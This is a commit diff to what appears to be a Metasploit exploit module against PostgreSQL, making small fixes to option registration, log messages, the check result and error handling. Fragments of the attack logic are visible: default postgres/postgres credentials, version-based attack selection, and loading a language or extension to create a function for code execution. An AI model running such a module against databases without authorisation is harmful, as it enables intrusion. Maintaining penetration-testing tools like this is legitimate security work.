Fixes as recommended in the PR discussion.

bug/bundler_fix
Micheal 2016-01-28 23:29:01 -08:00
parent 436ea85b18
commit b049debef0
1 changed files with 9 additions and 12 deletions

View File

@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Remote
register_options([
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
], self.class)
])
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
@ -69,13 +69,13 @@ class Metasploit4 < Msf::Exploit::Remote
return CheckCode::Appears
else
print_error "#{rhost}:#{rport} - Unsupported version - #{version[:auth]}"
print_error "#{peer} - Unsupported version - #{version[:auth]}"
return CheckCode::Safe
end
else
print_error "#{rhost}:#{rport} - Authentication failed"
return CheckCode::Safe
print_error "#{peer} - Authentication failed"
return CheckCode::Unknown
end
end
@ -105,7 +105,7 @@ class Metasploit4 < Msf::Exploit::Remote
elsif major_version.to_i >= 9
print_status "#{rhost}:#{rport} - Selecting version 9 attack"
extension = 'LANGUAGE'
extension = 'EXTENSION'
else
print_error "#{rhost}:#{rport} - Unsupported version - #{version}"
@ -129,17 +129,17 @@ class Metasploit4 < Msf::Exploit::Remote
case load_lang
when :exists
print_good "#{rhost}:#{rport} - #{human_language} is already loaded, continuing"
print_good "#{rhost}:#{rport} - language is already loaded, continuing"
create_function(language, func_name)
loaded = true
when :loaded
print_good "#{rhost}:#{rport} - #{human_language} was successfully loaded, continuing"
print_good "#{rhost}:#{rport} - language was successfully loaded, continuing"
create_function(language, func_name)
loaded = true
when :not_exists
print_status "#{rhost}:#{rport} - #{human_language} could not be loaded"
print_status "#{rhost}:#{rport} - language could not be loaded"
else
print_error "#{rhost}:#{rport} - Error occurred"
@ -171,9 +171,6 @@ class Metasploit4 < Msf::Exploit::Remote
print_error "#{rhost}:#{rport} - Exploit failed"
return false
end
rescue RuntimeError => e
print_error "#{rhost}:#{rport} - Failed to create UDF: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
@ -251,7 +248,7 @@ class Metasploit4 < Msf::Exploit::Remote
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
rescue Rex::ConnectionError
return :noconn
end
end